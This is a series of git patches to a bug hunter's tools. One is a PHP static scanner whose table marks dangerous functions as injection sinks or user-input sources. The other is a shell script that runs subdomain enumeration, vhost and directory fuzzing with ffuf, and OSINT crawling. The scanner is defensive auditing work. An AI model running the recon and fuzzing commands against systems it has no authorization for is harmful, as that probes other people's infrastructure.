mixed", "SQL Injection", - "high" + "high", + "sink" ], "mysqli_query()": [ "Performs a query against the database.", "mysqli_query ( mysqli $link , string $query [, int $resultmode = MYSQLI_STORE_RESULT ] ) : mixed", "SQL Injection", - "medium" + "medium", + "sink" ], "mysqli::query()": [ "Performs a query against the database.", "mysqli::query ( string $query [, int $resultmode = MYSQLI_STORE_RESULT ] ) : mixed", "SQL Injection", - "medium" + "medium", + "sink" ], "apache_setenv()": [ "Sets the value of the Apache environment variable specified by variable.", "apache_setenv ( string $variable , string $value [, bool $walk_to_top = FALSE ] ) : bool", "ENV server variables overwrite", - "low" + "low", + "sink" ], "dl()": [ "Loads a PHP extension at runtime", "dl ( string $library ) : bool", "Code Injection, RCE (in certain conditions)", - "low" + "low", + "sink" ], "escapeshellarg()": [ "Escape a string to be used as a shell argument", @@ -388,7 +436,8 @@ "Adds setting to the server environment. The environment variable will only exist for the duration of the current request. At the end of the request the environment is restored to its original state.", "putenv ( string $setting ) : bool", "ENV variable create/owerwrite", - "low" + "low", + "sink" ], "symlink()": [ "Creates a symbolic link to the existing target with the specified name link.", @@ -406,37 +455,43 @@ "Execute the given cURL session. This function should be called after initializing a cURL session and all the options for the session are set.", "curl_exec ( resource $ch ) : mixed", "SSRF", - "medium" + "medium", + "sink" ], "__destruct()": [ "unserialize() checks if your class has a function with the magic name __destruct(). If so, that function is executed after unserialization", "__destruct ( void ) : void", "Object Injection; RCE via unserialize() + POP gadget chain", - "high" + "high", + "sink" ], "__wakeup()": [ "serialize() checks if your class has a function with the magic name __wakeup(). If so, that function is executed prior to any serialization", "__wakeup ( void ) : void", "Object Injection; RCE via unserialize() + POP gadget chain", - "medium" + "medium", + "sink" ], "__sleep()": [ "serialize() checks if your class has a function with the magic name __sleep(). If so, that function is executed prior to any serialization", "public __sleep ( void ) : array", "Object Injection; RCE via unserialize() + POP gadget chain", - "medium" + "medium", + "sink" ], "__call()": [ "Triggered when invoking inaccessible methods in an object context", "public __call ( string $name , array $arguments ) : mixed", "Object Injection; RCE via unserialize() + POP gadget chain", - "medium" + "medium", + "sink" ], "__callStatic()": [ "Triggered when invoking inaccessible methods in a static context.", "public static __callStatic ( string $name , array $arguments ) : mixed", "Object Injection; RCE via unserialize() + POP gadget chain", - "medium" + "medium", + "sink" ], "filter_var()": [ "Filters a variable with a specified filter", @@ -448,54 +503,63 @@ "Write data to a file", "file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int", "Arbitrary file write", - "medium" + "medium", + "source" ], "SELECT.*FROM": [ "SQL syntax found.", "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", "SQL Injection", - "medium" + "medium", + "source" ], "INSERT.*INTO": [ "SQL syntax found.", "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", "SQL Injection", - "medium" + "medium", + "source" ], "UPDATE.*": [ "SQL syntax found.", "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", "SQL Injection", - "medium" + "medium", + "source" ], "DELETE.*FROM": [ "SQL syntax found.", "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", "SQL Injection", - "medium" + "medium", + "source" ], "$_POST": [ "$_POST reference found", "", "", - "critical" + "critical", + "source" ], "$_GET": [ "$_GET reference found", "", "", - "critical" + "critical", + "source" ], "$_REQUEST": [ "$_REQUEST reference found", "", "", - "critical" + "critical", + "source" ], "$_COOKIES": [ "$_COOKIES reference found", "", "", - "critical" + "critical", + "source" ] } From dcc272d0371f72b0298a5ea194df789428104beb Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 24 Sep 2023 10:17:11 +0100 Subject: [PATCH 296/369] [pef] Improvements; fixed error with -r when filename was provided instead of directory name --- pef/pef.py | 24 +++++++++++++++--------- 1 file changed, 15 insertions(+), 9 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 7274cf0..74492a6 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -160,9 +160,9 @@ def __init__(self, recursive, level, source_or_sink, filename, skip_vendor=False """ self.recursive = recursive # recursive scan files in folder(s) self.level = level # scan only for level set of functions + self.source_or_sink = source_or_sink # show only sinks or sources self.filename = filename # name of file/folder to scan self.skip_vendor = skip_vendor - self.source_or_sink = source_or_sink self.scanned_files = 0 # number of scanned files in total self.found_entries = 0 # total number of findings @@ -215,7 +215,7 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', sou impact = doc[3] if (impact.upper() in level.upper()) or level == 'ALL': - if len(doc) == 5 and source_or_sink == doc[4] or source_or_sink == 'ALL': + if (len(doc) == 5 and source_or_sink == doc[4]) or source_or_sink == 'ALL': if len(_line) > 255: _line = _line[:120] + \ f" (...truncated -> line is {len(_line)} characters long)" @@ -235,6 +235,7 @@ def main(self, src): f = open(src, "r", encoding="ISO-8859-1") i = 0 res = None + file_found = 0 all_lines = f.readlines() for l in all_lines: i += 1 @@ -244,15 +245,17 @@ def main(self, src): for fn in exploitableFunctions: if self.analyse_line(l, i, fn, f, line) == True: res = True - return res # return how many findings in current file + file_found += 1 + return (res, file_found) # return how many findings in current file def run(self): """ runs scanning """ + total_found = 0 print( f"\n{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}") - if self.recursive: + if os.path.isdir(self.filename) and self.recursive: for root, subdirs, files in os.walk(self.filename): if self.skip_vendor is True and "vendor" in root: continue @@ -261,14 +264,16 @@ def run(self): extension = f.split('.')[-1:][0] if extension in ['php', 'inc', 'php3', 'php4', 'php5', 'phtml']: self.scanned_files = self.scanned_files + 1 - res = self.main(os.path.join(root, f)) + (res, file_found) = self.main(os.path.join(root, f)) if res is not None and f != prev_filename: print(f">>> {f} <<<\t{'-' * (115 - len(f))}\n\n") prev_filename = f + total_found += file_found else: self.scanned_files = self.scanned_files + 1 - self.found_entries = self.main(self.filename) - print("\n") + (res, self.found_entries) = self.main(self.filename) + # print summary + print(f"{beautyConsole.getColor('white')}Total issues found: {total_found}") def is_comment(self, line: str) -> bool: """ @@ -310,9 +315,10 @@ def is_comment(self, line: str) -> bool: source_or_sink = 'source' if args.sink: source_or_sink = 'sink' - + filename = args.file # main orutine starts here - engine = PefEngine(args.recursive, level, source_or_sink, filename, args.skip_vendor) + engine = PefEngine(args.recursive, level, source_or_sink, + filename, args.skip_vendor) engine.run() From 29a50bbcd6bb82adb8e2d3c8e5a7f77d335eab37 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 24 Sep 2023 19:35:21 +0100 Subject: [PATCH 297/369] [pef] Improvements; fixed error with -r when filename was provided instead of directory name --- pef/pef.py | 31 +++++++++++++++++++------------ 1 file changed, 19 insertions(+), 12 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 74492a6..f505f67 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -154,14 +154,14 @@ class PefEngine: implements pef engine """ - def __init__(self, recursive, level, source_or_sink, filename, skip_vendor=False): + def __init__(self, level, source_or_sink, filename, dirs_to_scan, skip_vendor=False): """ constructor """ - self.recursive = recursive # recursive scan files in folder(s) self.level = level # scan only for level set of functions self.source_or_sink = source_or_sink # show only sinks or sources self.filename = filename # name of file/folder to scan + self.dirs_to_scan = dirs_to_scan # name(s) of dirs to scan self.skip_vendor = skip_vendor self.scanned_files = 0 # number of scanned files in total @@ -255,10 +255,13 @@ def run(self): total_found = 0 print( f"\n{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}") - if os.path.isdir(self.filename) and self.recursive: - for root, subdirs, files in os.walk(self.filename): + + if os.path.isdir(self.filename): + for root, _, files in os.walk(self.filename): if self.skip_vendor is True and "vendor" in root: continue + # if self.dirs_to_scan and self.not_in_dirs_to_scan(root): + # continue prev_filename = "" for f in files: extension = f.split('.')[-1:][0] @@ -282,7 +285,6 @@ def is_comment(self, line: str) -> bool: line = re.sub(r"\s+", "", line) return line.startswith("/") or line.startswith("*") - # main program if __name__ == "__main__": @@ -292,12 +294,10 @@ def is_comment(self, line: str) -> bool: ) filename = '.' # initial value for file/dir to scan is current directory - parser.add_argument( - "-r", "--recursive", help="scan PHP files recursively in directory pointed by -f/--file", action="store_true") parser.add_argument( "-s", "--skip-vendor", help="exclude ./vendor folder", action="store_true") parser.add_argument( - "-l", "--level", help="severity level: ALL, LOW, MEDIUM, HIGH or CRITICAL; default - ALL") + "-l", "--level", help="severity level: ALL, LOW, MEDIUM, HIGH or CRITICAL; default: ALL") parser.add_argument( "-S", "--source", help="show only sources", action="store_true") parser.add_argument( @@ -305,20 +305,27 @@ def is_comment(self, line: str) -> bool: parser.add_argument( "-f", "--file", - help="File or directory name to scan (if directory name is provided, make sure -r/--recursive is set)", - required=True) + help="File or directory name to scan", + ) + parser.add_argument( + "-d", + "--dir", + help="List of directories to scan (mutually exclusive with -f flag)", + ) args = parser.parse_args() level = args.level.upper() if args.level else 'ALL' source_or_sink = 'ALL' + if args.source: source_or_sink = 'source' if args.sink: source_or_sink = 'sink' + dirs_to_scan = args.dir filename = args.file # main orutine starts here - engine = PefEngine(args.recursive, level, source_or_sink, - filename, args.skip_vendor) + engine = PefEngine(level, source_or_sink, + filename, dirs_to_scan, args.skip_vendor) engine.run() From 6d6aa4ff2e9e2ae234b8ca47cfab2ce7022ebb0c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 24 Sep 2023 19:36:06 +0100 Subject: [PATCH 298/369] [pef] update --- pef/imports/pefdocs.py | 1 + 1 file changed, 1 insertion(+) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 1863d39..5c0d9cb 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -563,3 +563,4 @@ "source" ] } + From 22b28c1a5055721e1532269aa416fc1850243845 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 24 Sep 2023 19:36:33 +0100 Subject: [PATCH 299/369] [pef] update --- pef/imports/pefdocs.py | 1 - 1 file changed, 1 deletion(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 5c0d9cb..1863d39 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -563,4 +563,3 @@ "source" ] } - From 0340d5f6869a5308c5536fe2f367583350ae37ce Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 28 Sep 2023 20:52:07 +0100 Subject: [PATCH 300/369] [pef] print summary at the end of findings --- pef/pef.py | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index f505f67..28e6fde 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -1,10 +1,10 @@ #!/usr/bin/env python3 # -# PHP Exploitable Functions/Vars Scanner +# PHP source code advanced grep utility # bl4de | github.com/bl4de | hackerone.com/bl4de # -# pylint: disable=C0103 +# pylint: disable=invalid-name, missing-class-docstring, import-error, too-few-public-methods, unused-import, no-self-use,missing-function-docstring,consider-using-enumerate,consider-iterating-dictionary # //TODO: # - allow to scan folder without subdirs @@ -159,7 +159,7 @@ def __init__(self, level, source_or_sink, filename, dirs_to_scan, skip_vendor=Fa constructor """ self.level = level # scan only for level set of functions - self.source_or_sink = source_or_sink # show only sinks or sources + self.source_or_sink = source_or_sink # show only sinks or sources self.filename = filename # name of file/folder to scan self.dirs_to_scan = dirs_to_scan # name(s) of dirs to scan self.skip_vendor = skip_vendor @@ -255,7 +255,7 @@ def run(self): total_found = 0 print( f"\n{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}") - + if os.path.isdir(self.filename): for root, _, files in os.walk(self.filename): if self.skip_vendor is True and "vendor" in root: @@ -276,7 +276,7 @@ def run(self): self.scanned_files = self.scanned_files + 1 (res, self.found_entries) = self.main(self.filename) # print summary - print(f"{beautyConsole.getColor('white')}Total issues found: {total_found}") + self.print_summary(total_found) def is_comment(self, line: str) -> bool: """ @@ -285,6 +285,15 @@ def is_comment(self, line: str) -> bool: line = re.sub(r"\s+", "", line) return line.startswith("/") or line.startswith("*") + def print_summary(self, total_found: int) -> None: + """ + prints summary at the bottom of search results + """ + print(f"{beautyConsole.getColor('white')}Total issues found: {total_found}") + print( + f"{beautyConsole.getColor('white')}Cmd arguments: {' '.join(sys.argv[1:])}\n") + + # main program if __name__ == "__main__": From 06bc92dd6d44ee8868be4fb2cb733744a1704915 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 30 Sep 2023 01:50:35 +0100 Subject: [PATCH 301/369] [pef] output improvements --- pef/pef.py | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 28e6fde..c8a2b7d 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 # -# PHP source code advanced grep utility +# PHP source code grep tool # bl4de | github.com/bl4de | hackerone.com/bl4de # @@ -12,9 +12,14 @@ # - exclude 'echo' lines without HTML tags -""" -pef.py - PHP source code advanced grep utility -""" +## Sinks and Sources +# +# for an SQLi, you need a code that makes a raw query to the database +# for an SSRF, you need a code that makes an HTTP request +# for an LFI, you need a code that reads a file +# for an XXE, you need a code that parses an XML with a concrete configuration +# for a DOM-XSS, you need a code that executes HTML or JavaScript +# import sys import os import re @@ -253,8 +258,9 @@ def run(self): runs scanning """ total_found = 0 + os.system('clear') print( - f"\n{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}") + f"{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}\n") if os.path.isdir(self.filename): for root, _, files in os.walk(self.filename): From d40e6c05abbab353e546ef670eb52a9d269e2d86 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 30 Sep 2023 10:57:21 +0100 Subject: [PATCH 302/369] [pef] update description --- pef/pef.py | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index c8a2b7d..5692b8f 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -6,12 +6,11 @@ # pylint: disable=invalid-name, missing-class-docstring, import-error, too-few-public-methods, unused-import, no-self-use,missing-function-docstring,consider-using-enumerate,consider-iterating-dictionary -# //TODO: +# @TODO: # - allow to scan folder without subdirs # - allow to scan files by pattern, eg. *.php # - exclude 'echo' lines without HTML tags - ## Sinks and Sources # # for an SQLi, you need a code that makes a raw query to the database @@ -20,6 +19,19 @@ # for an XXE, you need a code that parses an XML with a concrete configuration # for a DOM-XSS, you need a code that executes HTML or JavaScript # +# When you are going sources to sinks, the process is: +# +# - you encounter a function call +# - you find the definition +# - repeat until the sink +# +# For sinks to sources, the process is: +# +# - you are in the function definition +# - you find a call of this function. +# - repeat until the source +# + import sys import os import re From 8584f3b142db984ada62c23a7cc92379e56b8471 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 3 Oct 2023 08:46:34 +0100 Subject: [PATCH 303/369] [s0mbra] Restore HTTP 200 OK discovery in peek() --- s0mbra.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index 5936796..4e2d370 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -281,6 +281,8 @@ peek() { echo -e "finished at: $RED $END_TIME $GREEN\n" echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" + echo -e "$GREEN\nHTTP servers responding 200 OK: $CLR\n" + grep 200 $TMPDIR/s0mbra_recon_httpx.log echo -e "\n$BLUE[s0mbra] Done.$CLR" } From 999c94a10d5491e90a8af3522099a29a03e0a457 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 17 Oct 2023 15:28:46 +0100 Subject: [PATCH 304/369] [s0mbra] Reomove 200 OK listing, does not make any sense anyway --- s0mbra.sh | 2 -- 1 file changed, 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 4e2d370..5936796 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -281,8 +281,6 @@ peek() { echo -e "finished at: $RED $END_TIME $GREEN\n" echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" - echo -e "$GREEN\nHTTP servers responding 200 OK: $CLR\n" - grep 200 $TMPDIR/s0mbra_recon_httpx.log echo -e "\n$BLUE[s0mbra] Done.$CLR" } From 653c58a8970a18754902ada56b8f86b95d920c8d Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 24 Oct 2023 09:13:41 +0100 Subject: [PATCH 305/369] [s0mbra] Simplify output filenames in peek() and recon() --- s0mbra.sh | 42 +++++++++++++++++++++--------------------- 1 file changed, 21 insertions(+), 21 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 5936796..cfb76a9 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -215,30 +215,30 @@ scope() { # sublister echo -e "\n$GREEN--> sublister$CLR\n" for domain in $(cat scope); do - sublister -v -d $domain -o "$TMPDIR/s0mbra_recon_sublister_$domain.log" + sublister -v -d $domain -o "$TMPDIR/sublister_$domain.log" done # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" - subfinder -nW -all -v -dL $1 -o $TMPDIR/s0mbra_recon_subfinder.log + subfinder -nW -all -v -dL $1 -o $TMPDIR/subfinder.log # prepare list of uniqe subdomains - cat s0mbra_recon_sub* > step1 + cat sub* > step1 sed 's/
/#/g' step1 | tr '#' '\n' > step2 - sort -u -k 1 step2 > s0mbra_recon_subdomains_final.log + sort -u -k 1 step2 > subdomains_final.log rm -f step* # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -l $TMPDIR/s0mbra_recon_subdomains_final.log -o $TMPDIR/s0mbra_recon_httpx.log + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e " $GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" - echo -e " $GRAY httpx found \t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" + echo -e " $GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" + echo -e " $GRAY httpx found \t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e " $GRAY HTTP servers responding 200 OK: $CLR\n" - grep 200 $TMPDIR/s0mbra_recon_httpx.log + grep 200 $TMPDIR/httpx.log echo -e "\n$BLUE[s0mbra] Done.$CLR" } @@ -254,33 +254,33 @@ peek() { # sublister echo -e "\n$GREEN--> sublister$CLR\n" - sublister -v -d $DOMAIN -o "$TMPDIR/s0mbra_recon_sublister_$DOMAIN.log" + sublister -v -d $DOMAIN -o "$TMPDIR/sublister_$DOMAIN.log" # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" - subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/s0mbra_recon_subfinder.log + subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/subfinder.log # prepare list of uniqe subdomains - cat $TMPDIR/s0mbra_recon_sub* > $TMPDIR/step1 + cat $TMPDIR/sub* > $TMPDIR/step1 sed 's/
/#/g' $TMPDIR/step1 | tr '#' '\n' > $TMPDIR/step2 - sort -u -k 1 $TMPDIR/step2 > $TMPDIR/s0mbra_recon_subdomains_final.log + sort -u -k 1 $TMPDIR/step2 > $TMPDIR/subdomains_final.log rm -f $TMPDIR/step* # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -l $TMPDIR/s0mbra_recon_subdomains_final.log -o $TMPDIR/s0mbra_recon_httpx.log + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log # cleanup echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" - rm -f $TMPDIR/s0mbra_recon_sublister_$DOMAIN.log - rm -f $TMPDIR/s0mbra_recon_subfinder.log + rm -f $TMPDIR/sublister_$DOMAIN.log + rm -f $TMPDIR/subfinder.log rm -rf $TMPDIR/h* END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" - echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" + echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" + echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" } @@ -341,15 +341,15 @@ recon() { if [[ $VHOSTS -eq "1" ]]; then # vhosts enumeration - ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_fullnames_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/ffuf_vhosts_fullnames_$HOSTNAME.log - ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ" -o $TMPDIR/ffuf_vhosts_$HOSTNAME.log fi # ffuf if [[ $FFUF -eq "1" ]]; then - ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log - ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/ffuf_starter_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/ffuf_lowercase_$HOSTNAME.log fi # subdomanizer From 30588de41cc83e9bb3bc589f114e2f165a28a62f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 1 Nov 2023 19:17:39 +0000 Subject: [PATCH 306/369] [pef] Fix str() error --- pef/pef.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 5692b8f..6860357 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -249,7 +249,7 @@ def main(self, src): """ main engine loop """ - f = open(src, "r", encoding="ISO-8859-1") + f = open(str(src), "r", encoding="ISO-8859-1") i = 0 res = None file_found = 0 @@ -274,7 +274,7 @@ def run(self): print( f"{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}\n") - if os.path.isdir(self.filename): + if os.path.isdir(str(self.filename)): for root, _, files in os.walk(self.filename): if self.skip_vendor is True and "vendor" in root: continue From a4fc6460c97ab7d99982c5309887bd6842b8ddb2 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 4 Nov 2023 18:41:45 +0000 Subject: [PATCH 307/369] [s0mbra] Delete httpx temporary dirs --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index cfb76a9..9b5baaa 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -274,7 +274,7 @@ peek() { echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" rm -f $TMPDIR/sublister_$DOMAIN.log rm -f $TMPDIR/subfinder.log - rm -rf $TMPDIR/h* + rm -rf httpx* END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" From 37614c04562015839f9620a1aed1e9cb4b87a36f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 12 Jan 2024 23:58:26 +0000 Subject: [PATCH 308/369] [s0mbra] Fix vhosts enumeration --- s0mbra.sh | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 9b5baaa..569c8f4 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -295,7 +295,6 @@ recon() { NMAP="1" NIKTO="1" FFUF="1" - FEROXBUSTER="1" SUBDOMANIZER="1" SELECTED_OPTIONS="nmap, nikto, ffuf, subdomanizer" else @@ -341,9 +340,7 @@ recon() { if [[ $VHOSTS -eq "1" ]]; then # vhosts enumeration - ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/ffuf_vhosts_fullnames_$HOSTNAME.log - - ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ" -o $TMPDIR/ffuf_vhosts_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://FUZZ.$HOSTNAME -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/ffuf_vhosts_fullnames_$HOSTNAME.log fi # ffuf @@ -390,8 +387,6 @@ fu() { # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes # dir path has to end with / to be identified ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" - elif [[ $3 == "-" ]]; then - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" else if [[ $3 == "-" ]]; then # if $3 equals - (dash) that means we should ignore it at all From 573bb80efb06fbe46c6a615162370700d3fb24be Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 9 Feb 2024 11:53:02 +0000 Subject: [PATCH 309/369] [s0mbra] Added photon to recon --- s0mbra.sh | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 569c8f4..aecac6c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -242,6 +242,20 @@ scope() { echo -e "\n$BLUE[s0mbra] Done.$CLR" } +# OSINT +photon() { + URL=$1 + OUTPUT_DIR=$2 + TMPDIR=$(pwd)/photon/$OUTPUT_DIR + if [[ ! -d $TMPDIR ]]; then + mkdir -p $TMPDIR + fi + echo -e "$BLUE[s0mbra] Let's do some OSINT stuff around $URL...$CLR\n" + /usr/local/homebrew/bin/python3 /Users/bl4de/hacking/tools/Photon/photon.py -u "$URL" -l 5 -t 10 -o "$TMPDIR" + ls -lRA "$TMPDIR" + echo -e "\n$BLUE[s0mbra] Done.$CLR" +} + # quick scope, but for single domain - no need to create scope file peek() { TMPDIR=$(pwd)/$1 @@ -736,6 +750,9 @@ case "$cmd" in peek) peek "$2" ;; + photon) + photon "$2" "$3" + ;; recon) recon "$2" "$3" "$4" ;; @@ -854,7 +871,7 @@ case "$cmd" in clear echo -e 